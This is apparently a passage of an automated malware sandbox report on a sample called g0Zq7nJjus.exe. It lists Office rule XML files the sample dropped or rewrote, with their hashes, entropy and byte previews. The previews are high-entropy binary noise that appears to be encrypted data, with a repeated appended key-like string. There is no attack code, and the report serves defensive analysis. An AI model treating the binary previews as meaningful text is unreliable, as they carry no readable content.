Preview:	<?xml....tO/aM..6...2...q..F...II.O..ZU.G.....:..6+....'&.I.?~......\czsT......kW..-_.(.....-os..Qvg..tW.V..]!.+.I...K_D..q.0....wI...5.iw8./...c...8.kJ.W@}.U.c....'}Q.[!...~fJ...e..[..f.wI.W.._...7...<7...:..Gi.L...7.=_z/&..~.t..m...5Hm..d_,....g..[.b.s!....P/z..S.8!..l..u.)....^..a.D.A:.j.o..pm..L.,....EU4..}.~t..{jd....M.V./o...}U%9'C.>../! ...6V.hw...!....M......+..u....G.)Q.\|..w...b.`).....G......[........b.F.kR....;...pC..4.\.24..:}..t_i...U.r.w}z..C.U<I.A....D...OU.1..RNq.Jzy.....y......~]....D..4.2.....-Z8.."rtO:y...}.N....u..UR....4f..S......5...O....%>.p..;J.%c.D....wP.~ .1E..`8`......s..h...7.=..<...q....5DN7.@...p..\|r...t=.z.v.....bM....Y...B...7.C..Pu...i.f..J.\.9...1.........vQ..C..s..n..m.K)o.O...>.....a.lN.{.\\..x..I...T...$...`;.Y..p.T.z ..R....pmX...6!....L.f.L.R..\|......HNK.Sxp.3.......{..E=..\|@4.L.;...W..?Z..C.v.....!..;f.q......h3.,..C.....j.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490005v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	7.808428925036675
Encrypted:	false
SSDEEP:	24:Is662tamd/HgbVoqDwBgSjb/KKh5lEhw6gMbI1ulRSEnV2bD:4vZHgqwKjb/NhwzeuPnuD
MD5:	61DDE38E9C896FAE148FB6B411C04DD4
SHA1:	34360656803A7053D4E40DB1317A2E0883CC4969
SHA-256:	A704D7A17ABC368A77BC4804DD683A7901A9170F6756874C916DE30893A3CE35
SHA-512:	AE74F867C0E294B4D8AED6A420C4BB6F74B66404488A2BFF6FB635B51B8D25FA5B735BE0B7A376C74BF79A7B891733E8E7ADC5F649E79260846596C4DCAE75C9
Malicious:	false
Preview:	<?xml5.p".U".u...h.Me .....s.`X..w...b......)..,... .<_.e..Y..j^).....,._.'......W.{A......(O.....X......X...O..AL...a(..#.......m.S&n.2EJ......f.Z......5-........{........x.;..w)...+2"(.;..U..._......z..KV-..J....p.e.}..J.A.}.........7.Dc.....:.C.[..ZjG.".D.e.....+g...\|.B.`N{b.p}.*.z.7.eA..?..:V.s.m..=...!...!.}....N...V.".lkGq....^8-Z..y..?...i+).3[...$...Y.....We.No.....1.,v..?..T..U~./P1.....D/...yQ~ow...PF?&.y.n..].oJO..]..P.........9....E.....L....O.......n@..7x...oN...5...p<.QK.#....$..R.!0..3.s.7....;{.....!2I..O2w.d.../R.8\|..Wy+bl..^.4l...2..p..!#l....V..>.\..c..H52...K&.w...,../5...8..hc!.E.p..uH...]...}..NH..{.1.q......."....K.+:..i.10.wt;..3.^.........~aZ.7..L.b._n..?.$hA.T.r.e...Fs.M..O.d.......n.}....X.)..;.&1../....{.&...{#.G'e........=0jv.g.....9.u.....R...}._.C...2.Dd$.Y....KZc..:...T......h6XN.W.....a};.......!n..!.CMQ'+.~_..w...Uj.R..\|."...O...#.G...C.;..d..?iHE.VmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490009v5.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	7.838237641330949
Encrypted:	false
SSDEEP:	24:eVC0HUDgrv8q0A1iEwa51tKQ1/2Tc/EKPX0NsXChLUc2/6mcgaqoSW7RPwkOz3od:eV1rE61e81tKQ1d92LU6mcg4SuRIR42k
MD5:	DDBB544503477B33ABF148D80E1C7D8F
SHA1:	A81377122165BFA01AAE1395DA5974A1E259936D
SHA-256:	48FE581D82CB1AC7BB619977711EA47AF3A2412FB337AA4BAA4F3DF31FF4063B
SHA-512:	AB041E60C9B9C991C6010F63E5C8C15487134F5FE0D9B2653A25704160BCE64AFDB01C3D7F78791C8F2A7748487E3B0817C3BC09ECFCE7875B0C7FF673EB52E8
Malicious:	false
Preview:	<?xml..../..$..<............S.iZ.Z0..a..m.,/N.\|...d~HU.\|Y....}2....K....t.u.(.6..&)...:>~]{...v.a...C.."K..S..U.QB..+...A.#.v^.j..jLD7Y.Bq..@.a.p..h..@W..z.5eO..> .....U.?.s....<.Q?..t.........\|..S4...<....\K....I..^{s.k..#.C.a.h.d..&k....3.u<..&.D.....2....]rZ\...J#......Lsak....a..!..8.%).3~..g....1.3J..j..f.0....1'.s...Y......T-.b...K?O^.k_....=V..W..:...:A.~..IH.c.b..Y.z>.,FTE.R.EZ..U.#......w..W.eG...+.O6?C..AiI.GH.>.E..U..4-...1.......!kk..v.....=D.....[.....%...e...(...f..Lhkl....a..G.....s..O.C..cZ!....l..9.M..b....2..H.F...aoF[+...RSzM.c.#b}.......Se...@...g....<\|P.#....H.4.x.........j..&......\|.f.NX...<....j.:.D......2...k.sh.j...^.\|.....Y}Z.s/.3x.zHz.j.....dE'.?.m.@.`K....Td.`K..Vy(.S*.Q...~.\|.u.O.6#.X.O.........o...dh=.....s.7...+F+F...H.u.kXl..xz<]..H..E..x.......E@.\.k......?....y....]`.l...0.7.\| ..6K.=.L#..\|.Zp......m:d.i?)2..Y..h]...Kz(.w.e..].....K.K`.14.U>...V...l~.qQ...... .U..1....%.W..._o.U.U;5....^....oT.....#...U.>...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490010v7.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	7.854739515644375
Encrypted:	false
SSDEEP:	24:AOvLiB+P6+Aa7DrZxVzZzS4tx98JtNYX+edrqjQ/0YuOtQaYx8vjLLmZXxctY9V7:AOveB+PbAaDrZLzckmNUijQuahrPKXxN
MD5:	EC4837163453FC06D0A28A74F5F61B47
SHA1:	038C8CE8A3D6135247D8F7FA5F430EDE0AA482ED
SHA-256:	D277593E3793BB04FEE233A6BE2E863ACB96C2AC994709F1E7808327E7429D26
SHA-512:	94025AF6DE73C55EC0F5097E2219C1084837177B4CFE122475F61C393756A0919EAD50D2105BEDCF828998C664D81FD150DB17965F2D2715FC4E567F559B7AB7
Malicious:	false
Preview:	<?xml}..h....8.%.........E....2.e;a.Dh..s.i......%}.{t....5...C.Mv.s....~..cO.U..V..T.T3...xP@...'1M:......................;Y.....~..b...\|..T...eV..l.Jh..5H..J.!%1...2.S.>...R....oAe.o.....Mx .Z..>+..b.I.Zu.).''N-n99..x..C..:..(..$...;#ZM[.X.....=..s..>e.9~I...f..~M_d..<.........$]_..uCWp....vd../...G...I.#R!...v......4.<.....2....&..).. ....2..V.&hy~.P.>...2..=.........X..\Q.6..%..O..7....-.X.\|...k.{.>..y.m....._V......7R(\|...T"..LB...@......./.bw^...No.P......^.jpz..=.~.7+.......^X;T.[+..\.Xt...)j.h.cTf... ......mo.f..N...DvSO...8N.....10.J.._.O5lp.C..D.....n..Yok.Ql.@..\.(..O..wq...4.......W=.....]F...#.(.D...A.^...!b..`..e._.;.....J^..F'...rN...........P..}..J..I.._......K........?b#...U.A....Qf{U8.......x.RV.......[......5.......s.ml....p...J.....k..G.nR..i+./8....i....<.../..?..WS..C.p...4.S...J....."-....V.@..RP....!...^Z.......sA.<.%..&..N.z...U.=.Y..F.G..{.{..x...>[.Q=?.f9..d,Z\Td..H.G.M....X...p..^ID}z~zv..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490011v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	856
Entropy (8bit):	7.73632171104838
Encrypted:	false
SSDEEP:	24:0rsMMdWCW7jowgmgEBxgkoMfCaMMxPK2bD:sYFWnrgUJ63MHD
MD5:	6A80BB9ED5AD68C7EC3751428F97F811
SHA1:	64753F10DB6844EC0D4534E5237A52E996FEF657
SHA-256:	CF9A0972F08ABD898DA9281E49EF8BB11368D5731A843E72736C0060002BCC25
SHA-512:	8D28A31751F33257F0ECB5C814DC05FA5BA378672C5A96C0397927D4C94BCDF90316B0EB0832B204F23BEFBFF35402E6F1CA8E08E7D6643DE94FB0C5045E3346
Malicious:	false
Preview:	<?xml....v.......G.~.J......Wv....6%....2eot.s..g....<._(..O.Ege..n..U=w7:.>...>.....2.}wt=......5.l7.X....d=#.E..y.N...S...:..\q...DOD8).Jdr.?G.L...c.]..I.Y.yF..M.e.XoT.*..g.G..E....a.X.H...C.P4.Oi0....&.!h..=>.p..K..'..,.......s.....>0.jQg.=.N..d.k0.T^sA.......s....l.......JM..x.'.._...v.w+d._.>..<.~w..}...G...2.Z\|`...C.........@+q....a.y......gI..a.H.z..3E+.r.....coI. )c.....d...U.9...N\.-.....Z...)[.....H.{.22....8 .......U...K.`.........9..Z....7..a...f.....8.....}.:.....b.).(..."....@.I-b.>.z.RvP..y./z<.?...f..`AG...j.L.'..z.0...-C......e...iC\|....O-..L...-9...+.[.&2.....o......0./..n.o.[+.}.)3......X5....Lb....m..z....J.lj.....L.71\......s......h]3y.bH...C....#...P....<.g....v\|.o...!..9.SN.6.......Z..!.aa...a..7.(...I..:..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490014v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	7.791466738885295
Encrypted:	false
SSDEEP:	24:MDGrunt3YMiZH1wKegCZu/nEbGLM6+cbUJjiDhVSYbuPPJ2bD:MyudBinEgZEuLgZiDhIYbuniD
MD5:	BC404011C9FE91FC9D645CC65E846DBF
SHA1:	D9500D3F43C695FA6B3A2045B9B08D78849E51E1
SHA-256:	7AEF043CF939E2FF0D525BCD99D3B93ECAE5DDB551CFA8E3CCB0E063D93A6456
SHA-512:	F07C443CE5A2CCE9720806C18FB1301D6127CF2972446BA635D03B085DF830FE3DCCC008D4A15FE4CBD382466D71E3AEB4E17002C53789C2E9EDEFDAB31C018C
Malicious:	false
Preview:	<?xmliF...kz\|D..""F......wu..z..........5.>....^f.:..O.b.zx..n...9p..u#.Rb.w....b...Di.(L..n.....E.r.9.!...FM@j%.7....%..2.Bm....h....~S......,.....aS.0a66\...>...n.......9^........m...5...R..(.>....r8vi......W}./.#...u.4....J..^....e..s...3..Q.h.;......W..J.n....P...p.C0~G.+..x.k= ..W...2.d ..4>..I.D.-B8a.8n4)...b{./..D...a.lq?...5D<...LQ.^....+yl<.....;...6...z..I.4... .%R...e....!....>r2..-FBh.@4.u8..nt8s.C.+Fn.......>.a.q"]+...N.?...z...EG.<,..j.F..L`..2..q...TR2....*.=....M..Y.`......2...\.FR.>...x...T...........5V....'",..+ ]..s...Bl:R...7DK< ..0:.._..m.u....;.iuz..e...w.c.}..!.QH-P.n.U)qG.D....W..a.>.U...E..>..i..y.B,....N.mY.Wu.A.H.kl".E......+3..gG.....b;b.+.%.M..{..S..F.........J..se.S.....!YU...#U..c5.._.:0..e.Ni......I..#.cex2d.Y.e.u.R6.........VkFf...........).w.....-S..+..@$.h..Zc$.M.Q....F.......%..D....M.!.r\......#....k.5....@...s.."LU..!'E\xy;&er...$1...S.b.>......D..."9X...o`7...Z.........l..X..S.E..}}H.(O.v?1.gkG. .Qec..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	924
Entropy (8bit):	7.718574011080325
Encrypted:	false
SSDEEP:	24:Y8KCsqI7AgRyF0JHcZq4frX5sNtlkDFLM3c+2bD:yCVgR40hcw4DX5swYclD
MD5:	C068380B844AC8E1EC5D4C244F4E61E9
SHA1:	29A5759B7DE589C82F906D203AD1CC51C3B9621D
SHA-256:	988C43AF2D2613065B0622F6816864905664EB1994A33835E4E3BAA714E04C5C
SHA-512:	EBDA15945EE9F46F35A1E9B9A89C1FDDA5A7D54C190EB58109A52E868F51CBAB4DD0FA096E2EB9FE6BD687C67CB71EB222A3525E1062A2FC7660817CDD608BF6
Malicious:	false
Preview:	<?xml..k....O.N]...M...E..L..7F.;..Y.....x..'..i9Fr..o....#@.q..-.O..[)..@..._....c....B..-sf.-...#....O.{.?aH.r..N.?....]T.C:b...'l.......Df7I.[.`.!.......?.....p&Z..[@..0.Y.O..G.3...k\.$0..q..".-d..~A.~.!........Nz.5=...@.S(..2..2.E..7...5P...z..~5...qKsR'....s2.$...:....v..RA@\./.i..\..S]....8.5.B.. ...(aF..p....3Wu25.............%.46....{.?z..F....=m......7..i.E.......x....j.... .mP./$Kz.....M...(....%9!...0.4.Y...f....t.......W.E...RFcDN.=..q.m.Zm..^.R..v..2....E..{....).5.#JJo..;O.>.5.N1..<...dE....Z4..6.....h.S..R......&....f....d2.74...E&....."..'.%.Z..........?r.< .O*..N..64b`......C...`...E....A....{.ov..R...\f.(...p..]$...F.......B....Mj1rr...RMV.g.............A..^)-.5...~...(..H..b....cz.k...T.{.g.Nrla.K..o.?c$...N..,....Vl...[.rV.t..h3{..)..,.iR....%.{..Sw.J...7h..$.'3..q>..5mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.834190456474813
Encrypted:	false
SSDEEP:	24:Kj3JY9GZ0fSmsOh1tVJDyFRxvE4dKpcCbGVvWnaLHwjRm2bD:aJZ0Kms81ROFRpE3pcP7wjRtD
MD5:	F747DA4F7A554FCED857E2E7CEC55DC5
SHA1:	E161B24971419C041DC13343225D6A847C85B675
SHA-256:	AFC805ACC659BFC98FD56F59E2E40175EA158C149564CE6344D57BA6AE793B1F
SHA-512:	E99A87FA0C75FFDA45D79C4027A25476196EAF1F893B6D8E74B27B165D184A39D4E7AAFDCEA041F5DBBCC5658DBE229CDB2ECC00AE55A5D5230AAEA6D9F2B77D
Malicious:	false
Preview:	<?xml....;bZ.s..d......MCy.=m.....2...#:[.............>. I].u.x2).bcA{............6x...".."...<Ax...4Y.K..A.,6IR..j..V.N..-.....p4.<..G.w<.m......M9.....S..%=...W.G..cy.....3.S.H.t.d...x....R.uI.Kz....X....@#BE.?..>.."8.......h.5.,..G...g@.[bY.b.G..8-.y.v.U...c.[x....p...mF.1.$0..+.9KMN........%...!...`.l..jB....w./q......m7.?.........'..((f#.J.$L[Y..5.....y...#:.m.T.....4.#..3..5.J@...u...}F.N...\|..0..5@..+...\.Y...d....'e..A...f..x..DS..!.....uaM.."....K.~.......Q..\|...8...Ai...(...0..cL:/.<.i.s4..h. .~.o..r}..T.s.e.c.....N...L.^........z..J-.........;.r.Z...tH94...Z....J.(.........L.F..vob.K,......W.......s!V.I7....k'Me./%..%..B6...CO..B....(..]..5..@...:O.....k..}.BkV.2XM..5.b...1-.<A.~*.SV.1.....Y.... .Y......... ...o9v.;.......>W\|.....8.\|.H......z....9.}De..i.#.E.Rw..@..I^0v.r.&d...s...j..WO.<Oz...3.n../.^4.H7..u.+...6.&.f..J..&.([.9IO=..NG.[.....\|.!5.....!.l.Z...../gS7.#....(./.P..;,..].`[+)..Od..........S.KO..Hdg......>.`AS....3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.7920571867575505
Encrypted:	false
SSDEEP:	24:6r5y+KDNqS8L2nNzR7mF/DzzOOCmDTuisNgIWmV2bD:6108Evk/PzaBNJbuD
MD5:	8268B7529A0A8DC9134F4613F2C49C74
SHA1:	03A9244E4184FDD16B4CC951AA0C443A46F073FB
SHA-256:	B5D95227C6DAB07869E3AFF2B8660399519AD3694E1626B8D15D5466E44F0072
SHA-512:	3100DB3A85A744EC54D981C111784AD561B13A5D10347741C0C517539471177B0AFD2519ED4265FABAC9453C868888DCF09EC752C513649DE4DE3220BF0BB8FF
Malicious:	false
Preview:	<?xml3.Z.FiI....."Pu.K.2N.)]...>.W#.:.e..t8.y.6.QL.nAP.@...K.D.->..~k .#.%.^v.C...F.X.o.A..H.. q8.:z..e.y.u...76..P.d...iL..9.M......L.W.u\;.$..7.~$..#..D.}t ....~.M..f..Y".+...M.R..f..-.u):@#...P....~...u.#.,..s.y..E8.6..k.u.......nX.%....;@\|+..(..3.1.....kz..._....4.Q.}......0.n..:.j,....P.G....9i..i.{...O,....I...7.`........V.........jyA.e.K`.....}..3w.R.....Z..D.\|...?@."....2..........].w......M.s....M.;.8.m.Q{....@.F.(.{.6kB&..^I!......4;..=..@.n"G.r.F.~Q.KM\|.PN..E......I:.....--.../.&Ha...i....J}.t....6....cQ.....(@..._5.z..\|...\|..$...O.....7K..Tl.o.F.N......k..Z........-2.eZ.....r.Q `(q.......U{MM.`...k.BcH..8c[..._O..w!....g..+$...+.....Q...].jK.....O.M.W....Cb.\|...l........q...d....b....x.,...".#L$...a..........".:+1M/`...O..H%G!)./.....K.Ux.m.6.....9O..C(..F.G[.f..M.D....@.*.h.....hf.HoA........(..D.`.t6..3...r...c..M...s&\.9u9-Y...`."X..1.....<.V.).%.U..l...G....3..N(......W.a....@..B$..Y_^.{....mM.M..-....Q.]..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v5.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	7.8087199111049514
Encrypted:	false
SSDEEP:	24:/HEzuG9a2l6o+V9VzP/+UdGv90fUIJjdxI3ALyLwmXTnSs10giPaf2bD:sqGDe/PWR0flI3uyLTThOginD
MD5:	30291FAFC35A3F17349CA089EF8147E0
SHA1:	90730F2113D6AD24DB1D3DC83F0B8E4FA1579262
SHA-256:	B560117F39FE087CF931449E0ACBB8EB17B479F951250808FC30B865DB4F2F57
SHA-512:	5362ED5EAC7138248BE087FC48D32A3672B6610B644DB81D85F00E414C3841F6ACE90BA1970E3CBEF28FCEDF5922C4B8B91E50963E928D240E3F53E1964EFC32
Malicious:	false
Preview:	<?xmld..`rU..w....+..'......L.>.c.....!.W....Z....r.8..Hg..n......&..[.U.>.-.ER=..]..h..`.;Q.....~.R.KG...."yVqI.zy.W4i.k..u5.m.S..q.\...%V.s.i..{b.....0..W...6..p...:<.m..Nb~fX+SB...!.5..9.S.....,bh.....].4..$qO.\.{.q{U.D_i.?.........%.wv..sk.?....>......ch.0^.s..q..._....YN..P7.L.&%.q5...'...xq.F}.".".T.o..0+.Y.Qu........H]...\|..^...m;......Pcdf....FYkR}..$!...:..l'..$@oRF....'q....z7.0...f...c..9bm.SC..?.{q...O....F..v.D.{...Lq....+..Kh.>..v...k?...<b.1........m..3..X..T.,..!{6^....K.`.M...5C....m..8B. -..Y6...c...^o...M8..7...\|O.....a...}.....o..J...J.O.x....e .~.......q.K....9...#..."y@R6...t..A...4Im.Y.(....'...._.. (.. ....l...{.0.....Lb.3.s..i%.!K{..3..Lq@.^..\..^.....^9..J.>......-~.BG.;.<;.n.."P..5.....;.7.yq...).bA.E..]:dk...$...[.M~I.`..=h..X~,k..clD..g..JQ/~...e.`.......cZ..g..........l.lC..3...]AH.]....B.o.s..<a.u>XX.,=....I.....-.gDU....<X...6...oi....<{....{T3b....cL...Y..Yt9w.K.;......4.....I.(..U.........{".y.i....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490018v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.796790307065338
Encrypted:	false
SSDEEP:	24:TrZRKZchONY1JnDG524b9OXCtK/xQWI/vM2bD:TrXLT1FGAcNtK/x6vfD
MD5:	582F834F1F3459B979E11DE60D7548BB
SHA1:	C985FF823FEC90E10DCC3C25D981416327EF3F41
SHA-256:	0BF8BB54ACCC890F14EBB7013E2EECB605B80513B0B769B99DF35A58FDA76BE5
SHA-512:	163229547E72B07ABC9F760E821C19E7623275B468098EE346CD64091DFAF2E6FEF9B4A1C59B2DB6E8D655463549A43F152F06FC4FF96211034DE64888A70DD8
Malicious:	false
Preview:	<?xml._k,.Fq.."...ZZ.a'.GlpWA$?...k.v}.^....UT...R.Y..O..m...V....H....5.p..t%..........z...."....U.OH....}.o.....[...R.Gt.'.q...B}..........6`.IV.....u...._.T..@..k...P..4f.i.y?...`o4..=.4.#v...-.....kHR..P/.{...-....L....yYe....\`n^.....sy.Q$/..<....L....Vex?.]4u.1.......)..^H.H.jk.bFO..}..f.=.....$7.n..O..J7.......d.E8~M.U.-... .(.x..b~4.q.{..JI\K.w.N.(=..J...E...1w...,.4.......yC....v...r...&.M..H...}O.....:.I.y........0...>..p..z.....7,.)!>.....]......^.....Se..=.5Q...W..8.B..#.h..X.W.O1d...w..4..N...U...B+.A.j...Y......kcE..@i.^y&....].?.....J..y.....GF..u.....Tf.'M.L.j..<.!F.z..9..HN.....50.8...G[.^...JZV..7D.u......M.t..J[.'u..K.......H..>~.C.PE.;.....)..\|..Q...>b..;.a\...57....q.-i......\.@..r.c..!J....+..........!......V..a....]..g.'....2).+I..mk.L.......b..->..T<.*XV{..aV.m}d.}&[.;......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490020v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.829160844513864
Encrypted:	false
SSDEEP:	24:lpfeH1sPdJ6b+Tjy/jCix4j2tabhXqrshUKWCJaqV2bD:nWH1sfTjy/vY2t29WtD
MD5:	463422C1DFE239D9631CD87DCFC93F0F
SHA1:	1B54612E9D16A53A55D700A881892603AE2FA686
SHA-256:	7CDEA69DCB1972812C5D9F652FCD458716E7DC9EBE0DA2037F45A6EF12109C58
SHA-512:	FD3278E1AA9E79B58E4236E240E6C8FDC93D085BB038472FA5FC1A6D36C5FE36940A3780DAE21C4F0A7C0CAE87F49E436CCF7FAB929E0997B4DCDB56DD132BA2
Malicious:	false
Preview:	<?xml.._.jr....W.h.r...........wV..R..J..P.f...5..4.fmKU.....-...v.Y.r2E.8....fi..V..)_c>Hp.a..o....Q..=..<......-..]...l3....A.M.(K......;..t-RC......i....x.D...p..Z.N..5......~!n.J.7.Z..].{t!';...B.y.Q.e...4.4;0.hsP..\|J..Wf.....@C.M...sF..D=....$<2.....yL.i..6.......<v.q.... ...!....'D.,Nr.9U8.^e..t......{...hATS.....Op....6.../T......H.D.".0.`...j..L..9}0XHB..Wy.S..Y...qN....&VZa..........u.+W.72...m:K..(.#..!=Yj.8....@..#..>..q..DN.6F.U.<&~..By.r..Q.X...;..a.a.u...[.j..J..V~a&...v...03)E.).\|.E25..FN.j_...m..3..k........."W.t....'.'.z.......]...{.c(.8......mh=......F9.jb.<..y..m....G......i#R.+Y...P.......f..6..........`...t..J...'.r.9..6ITIA..%....E..m1?Gnl...n.bi...2.v.q.<~..Y..k...U..l.x.pb.Q.y.3Q.'.......^.^.>.o....=~..I..w.{.zT......../K....\|.&.~$f#Rn........;...]..}.........$;+......Fvg./..Z#...V....9....[.zs.?0....:.r.Nce.xv.C/...--6'S..........b...:..$.....Y..hYwx.Nm'...hr..Q.......d.`....bFC&J15.n..O.\|..a..5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490023v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	7.824355498147365
Encrypted:	false
SSDEEP:	24:UPRnpptnPapIsL1zk1CsvdSw0sq/bP+D8rlarCNxmhbw342bD:Uhp7gfpervx0ThB5bE8D
MD5:	C8DD8FB4BC9DF116B59AF004D1EF98C0
SHA1:	A57854DDC7BD7F5BC059C0822136A7B915B80BB4
SHA-256:	1DCCCB452B984A85CAA600F3A19036D0B93A0948FA41D3325AF34EB5646A0C9C
SHA-512:	814AEC494AD7660B5B6F45D0062E2C8F4BBC24FFF796B3D1F8D5D39D5CB6F42FD6D70B5081BF60C2D411111A232BD37B006729A0ACBBB0995DAF1173E08B23D6
Malicious:	false
Preview:	<?xml..V...D........}.....x?!..$0..!...Kb..Z..C..<.fA^&......#4.Z.....K.l.A...b..&f.@A...2.(..l..K.E.......Y...Y..QD...y.f...,3ibA..cF.9D^K...9.]...$.v..3$...2...a.U.nl._.....h.c..e..giOvX....Y1..B$5.~;n.\|_..\|..$@..2....e...[QC.v.P.....7...7~...g.8....G#E(h..-W.mL....Mx.p....J.i.3L..R.E...l.,....:...^.t....O...T..9.,.A...f..W.u$#[...^.J.f....4.s..q.{.;dK.".9.]l.O..r.....e...L,.........T..+..B...e....T...y.".#.7<.e.r.....Q%L........ bzZ...D.j...ed.<.%Q\.36...h.V.n'.\....-.U..m4.._.E..b..q.4.W.Sv...........o.kmeL.9...O.~4....x..d.'.?.....>R.9..._0D....T1..8....m...kmq.iGG}w..._.>.Y..Bn..U.5..w..>./.T5.8..o....9.zTZu;(.K.K..}.-K.I.^..<M0..5...\|..iK4.....l3.0....1...rbB9r....O......CL.;t\|C2.6.....vq....5.B/#.uK{.u.%K..h.Ru...@n..X.O._%!.8.d........F....Zm.S+jA R......S3.......t.^z...3.@r...[..j.n.... .Ct../f....\...ol..k*.h...,~.."..s...;'x.`.....q...A.88....9......]Z.J...(...g...?.......\|B..f.o..i.G.g..'..t;_....Q....8....1.y......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490024v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.763918245544163
Encrypted:	false
SSDEEP:	24:i3W+dbHIt9t706EUVEt+upj4vBJdLpEfTAo/TksM8z2bD:i3WmLvUVA+YjGBdeTAcTk5xD
MD5:	24F20EB348A453698ED7B083D8B96DDE
SHA1:	191024BC04619DAC87D3B5A58C3529512FFE7A15
SHA-256:	A6250699C9F7F6AE90E2D51F8DB83F13B945AA9EBC4B24C37B840B6A554CE6C8
SHA-512:	B799EF01D20B285CC57573B53F58F6E50A8B8BB9B7F921AC273FFD395E27CE1FFD1D001AD22787F7557F012F552C51F25149AA3C6CD2803488A09FBB002DA36E
Malicious:	false
Preview:	<?xml~..@l.f..e..pe..T.D..\|ioGY.!.....z1.!..j.m5..T.......<-.J.C..y.... ]...].#.z.Y.d.X.....$.....~s.3J..&^.Q8..&...J...b....@ 2...P?!.....\JB..x...&\|...%q5m.\|D..:..F<I...G..g6[. .}3...8t.u.1..qj/..}zSi......=..........%.^.P.7..R.%q.JC............/.=.v......N>....#/..m:IE..........[.....u..3...h....l...!.....Lf.p...-..!..CP.E.-NT......e.8C..F?F.........\.S....'A-t...`}.]..Y..3.Z...,.~....F.o.....9.....3.%...#..g......_U.....'.6vO+..,d..O......h...F.}.px.}.x...&......}.u.....&.P.hO.vh.rT..KW...RFMO9...A@..{(.P8....(.....)..6..@..q......[$.?....Mm1t})..c.,.}3..oSJMWx...v.cY.....>_6.,.o....ds.Z...B.Qn.....:.Z..W..K..9..,wU.:..+...5e....&......1..;..f.se.:......:%..U..2_.`@..g.e...?.4.....D.]h?A..n.~:..W./"...~.....gS*.`.....)...lsm.....TmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490025v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.773105343620477
Encrypted:	false
SSDEEP:	24:R1pGPWYLW9wDDFNqq9Sb9cpwMrxqszb2bD:hGyb9cpwMlqnD
MD5:	9D38E5C7AF5DEF7950FB0E4F182168EB
SHA1:	A7C8225C34D5F8B69FD11406A5A180FC31FF6C7E
SHA-256:	3E527D9F6216C72E6A808DC9CA9DF0F2DC4FFAD74866286DD29AB61E3E01F03D
SHA-512:	97EF93E6E667C54E1335F776B223D4589B153FCEF6534F8F6ADE997E41E1EC0967311D768F3EFD07C080C8C42F26C58B04C8E341528C9596D435CB71AEFF0900
Malicious:	false
